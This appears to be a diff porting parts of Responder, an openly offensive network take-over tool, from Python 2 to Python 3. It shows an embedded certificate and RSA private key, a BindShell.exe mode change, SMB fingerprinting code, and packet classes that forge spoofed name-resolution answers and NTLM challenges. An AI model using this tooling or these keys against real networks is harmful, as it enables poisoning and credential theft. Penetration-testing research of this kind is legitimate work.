MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL
NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG
AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd
sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP 0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK
2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/
6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb
WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o
N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR
YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9
6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0 sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8 A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx
koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335 jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4
4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5
YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH
HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm
u0/CRCN/lg== iKqwycWcwlFFUDbwBuOyfbfwjtUf
-----END CERTIFICATE----- -----END CERTIFICATE-----

View File

@@ -1,27 +1,27 @@
-----BEGIN RSA PRIVATE KEY----- -----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY----- -----END RSA PRIVATE KEY-----

0
files/BindShell.exe Normal file → Executable file
View File

View File

@@ -16,18 +16,24 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket import socket
import struct import struct
import sys
from utils import color from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
def OsNameClientVersion(data): def OsNameClientVersion(data):
try: try:
length = struct.unpack('<H',data[43:45])[0] if (sys.version_info > (3, 0)):
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2] length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) packet = NetworkRecvBufferPython2or3(data[47+length:])
return OsVersion, ClientVersion OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in packet.split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
else:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except: except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def RunSmbFinger(host): def RunSmbFinger(host):
try: try:
@@ -35,28 +41,26 @@ def RunSmbFinger(host):
s.connect(host) s.connect(host)
s.settimeout(0.7) s.settimeout(0.7)
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") h = SMBHeader(cmd='\x72',flag1='\x18',flag2='\x53\xc8')
n = SMBNego(data = SMBNegoFingerData()) n = SMBNego(data = str(SMBNegoFingerData()))
n.calculate() n.calculate()
Packet = str(h)+str(n) Packet = str(h)+str(n)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(Buffer) s.send(NetworkSendBufferPython2or3(Buffer1))
data = s.recv(2048) data = s.recv(2048)
if data[8:10] == "\x72\x00": if data[8:10] == b'\x72\x00':
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
Body = SMBSessionFingerData() Body = SMBSessionFingerData()
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(NetworkSendBufferPython2or3(Buffer1))
s.send(Buffer)
data = s.recv(2048) data = s.recv(2048)
if data[8:10] == "\x73\x16": if data[8:10] == b'\x73\x16':
return OsNameClientVersion(data) return OsNameClientVersion(data)
except: except:
print color("[!] ", 1, 1) +" Fingerprint failed" print(color("[!] ", 1, 1) +" Fingerprint failed")
return None return None

View File

@@ -1,20 +1,9 @@
#!/usr/bin/env python import sys
# This file is part of Responder, a network take-over set of tools try:
# created and maintained by Laurent Gaffie. from UserDict import DictMixin
# email: laurent.gaffie@gmail.com except ImportError:
# This program is free software: you can redistribute it and/or modify from collections import UserDict
# it under the terms of the GNU General Public License as published by from collections import MutableMapping as DictMixin
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from UserDict import DictMixin
class OrderedDict(dict, DictMixin): class OrderedDict(dict, DictMixin):
@@ -30,7 +19,7 @@ class OrderedDict(dict, DictMixin):
def clear(self): def clear(self):
self.__end = end = [] self.__end = end = []
end += [None, end, end] end += [None, end, end]
self.__map = {} self.__map = {}
dict.clear(self) dict.clear(self)
def __setitem__(self, key, value): def __setitem__(self, key, value):
@@ -77,20 +66,30 @@ class OrderedDict(dict, DictMixin):
inst_dict = vars(self).copy() inst_dict = vars(self).copy()
self.__map, self.__end = tmp self.__map, self.__end = tmp
if inst_dict: if inst_dict:
return self.__class__, (items,), inst_dict return (self.__class__, (items,), inst_dict)
return self.__class__, (items,) return self.__class__, (items,)
def keys(self): def keys(self):
return list(self) return list(self)
setdefault = DictMixin.setdefault if sys.version_info >= (3, 0):
update = DictMixin.update setdefault = DictMixin.setdefault
pop = DictMixin.pop update = DictMixin.update
values = DictMixin.values pop = DictMixin.pop
items = DictMixin.items values = DictMixin.values
iterkeys = DictMixin.iterkeys items = DictMixin.items
itervalues = DictMixin.itervalues iterkeys = DictMixin.keys
iteritems = DictMixin.iteritems itervalues = DictMixin.values
iteritems = DictMixin.items
else:
setdefault = DictMixin.setdefault
update = DictMixin.update
pop = DictMixin.pop
values = DictMixin.values
items = DictMixin.items
iterkeys = DictMixin.iterkeys
itervalues = DictMixin.itervalues
iteritems = DictMixin.iteritems
def __repr__(self): def __repr__(self):
if not self: if not self:
@@ -115,3 +114,8 @@ class OrderedDict(dict, DictMixin):
def __ne__(self, other): def __ne__(self, other):
return not self == other return not self == other
if __name__ == '__main__':
d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']

View File

@@ -14,12 +14,14 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct import struct
import settings import settings
import codecs
from base64 import b64decode, b64encode from base64 import b64decode, b64encode
from odict import OrderedDict from odict import OrderedDict
from utils import HTTPCurrentDate, RespondWithIPAton from utils import HTTPCurrentDate, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
# Packet class handling all packet generation (see odict.py). # Packet class handling all packet generation (see odict.py).
class Packet(): class Packet():
@@ -55,9 +57,9 @@ class NBT_Ans(Packet):
]) ])
def calculate(self,data): def calculate(self,data):
self.fields["Tid"] = data[0:2] self.fields["Tid"] = NetworkRecvBufferPython2or3(data[0:2])
self.fields["NbtName"] = data[12:46] self.fields["NbtName"] = NetworkRecvBufferPython2or3(data[12:46])
self.fields["IP"] = RespondWithIPAton() self.fields["IP"] = RespondWithIPAton()
# DNS Answer Packet # DNS Answer Packet
class DNS_Ans(Packet): class DNS_Ans(Packet):
@@ -83,8 +85,8 @@ class DNS_Ans(Packet):
def calculate(self,data): def calculate(self,data):
self.fields["Tid"] = data[0:2] self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPAton() self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# LLMNR Answer Packet # LLMNR Answer Packet
class LLMNR_Ans(Packet): class LLMNR_Ans(Packet):
@@ -111,10 +113,10 @@ class LLMNR_Ans(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["IP"] = RespondWithIPAton() self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
# MDNS Answer Packet # MDNS Answer Packet
class MDNS_Ans(Packet): class MDNS_Ans(Packet):
@@ -135,7 +137,7 @@ class MDNS_Ans(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
##### HTTP Packets ##### ##### HTTP Packets #####
class NTLM_Challenge(Packet): class NTLM_Challenge(Packet):
@@ -181,26 +183,34 @@ class NTLM_Challenge(Packet):
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
#Now from bytes to str..
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].decode('latin-1')
self.fields["Av1Str"] = self.fields["Av1Str"].decode('latin-1')
self.fields["Av2Str"] = self.fields["Av2Str"].decode('latin-1')
self.fields["Av3Str"] = self.fields["Av3Str"].decode('latin-1')
self.fields["Av4Str"] = self.fields["Av4Str"].decode('latin-1')
self.fields["Av5Str"] = self.fields["Av5Str"].decode('latin-1')
# Then calculate # Then calculate
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str("A"*8)+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
# Target Name Offsets # Target Name Offsets
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset)) self.fields["TargetNameOffset"] = StructPython2or3("<i",CalculateNameOffset)
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2] self.fields["TargetNameLen"] = StructPython2or3("<h",self.fields["TargetNameStr"])
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2] self.fields["TargetNameMaxLen"] = StructPython2or3("<h",self.fields["TargetNameStr"])
# AvPairs Offsets # AvPairs Offsets
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset)) self.fields["TargetInfoOffset"] = StructPython2or3("<i",CalculateAvPairsOffset)
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2] self.fields["TargetInfoLen"] = StructPython2or3("<h",CalculateAvPairsLen)
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2] self.fields["TargetInfoMaxLen"] = StructPython2or3("<h",CalculateAvPairsLen)
# AvPairs StrLen # AvPairs StrLen
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2] self.fields["Av1Len"] = StructPython2or3("<h",self.fields["Av1Str"])
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2] self.fields["Av2Len"] = StructPython2or3("<h",self.fields["Av2Str"])
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2] self.fields["Av3Len"] = StructPython2or3("<h",self.fields["Av3Str"])
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2] self.fields["Av4Len"] = StructPython2or3("<h",self.fields["Av4Str"])
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2] self.fields["Av5Len"] = StructPython2or3("<h",self.fields["Av5Str"])
class IIS_Auth_401_Ans(Packet): class IIS_Auth_401_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -417,18 +427,18 @@ class MSSQLPreLoginAnswer(Packet):
InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) self.fields["Len"] = StructWithLenPython2or3(">h",len(CalculateCompletePacket))
#Version #Version
self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) self.fields["VersionLen"] = StructWithLenPython2or3(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) self.fields["VersionOffset"] = StructWithLenPython2or3(">h",len(VersionOffset))
#Encryption #Encryption
self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) self.fields["EncryptionLen"] = StructWithLenPython2or3(">h",len(self.fields["EncryptionStr"]))
self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) self.fields["EncryptionOffset"] = StructWithLenPython2or3(">h",len(EncryptionOffset))
#InstOpt #InstOpt
self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) self.fields["InstOptLen"] = StructWithLenPython2or3(">h",len(self.fields["InstOptStr"]))
self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) self.fields["EncryptionOffset"] = StructWithLenPython2or3(">h",len(InstOpOffset))
#ThrdIDOffset #ThrdIDOffset
self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) self.fields["ThrdIDOffset"] = StructWithLenPython2or3(">h",len(ThrdIDOffset))
class MSSQLNTLMChallengeAnswer(Packet): class MSSQLNTLMChallengeAnswer(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -475,12 +485,12 @@ class MSSQLNTLMChallengeAnswer(Packet):
def calculate(self): def calculate(self):
# First convert to unicode # First convert to unicode
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le').decode('latin-1')
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le').decode('latin-1')
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le').decode('latin-1')
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le').decode('latin-1')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le').decode('latin-1')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le').decode('latin-1')
# Then calculate # Then calculate
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
@@ -489,22 +499,22 @@ class MSSQLNTLMChallengeAnswer(Packet):
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
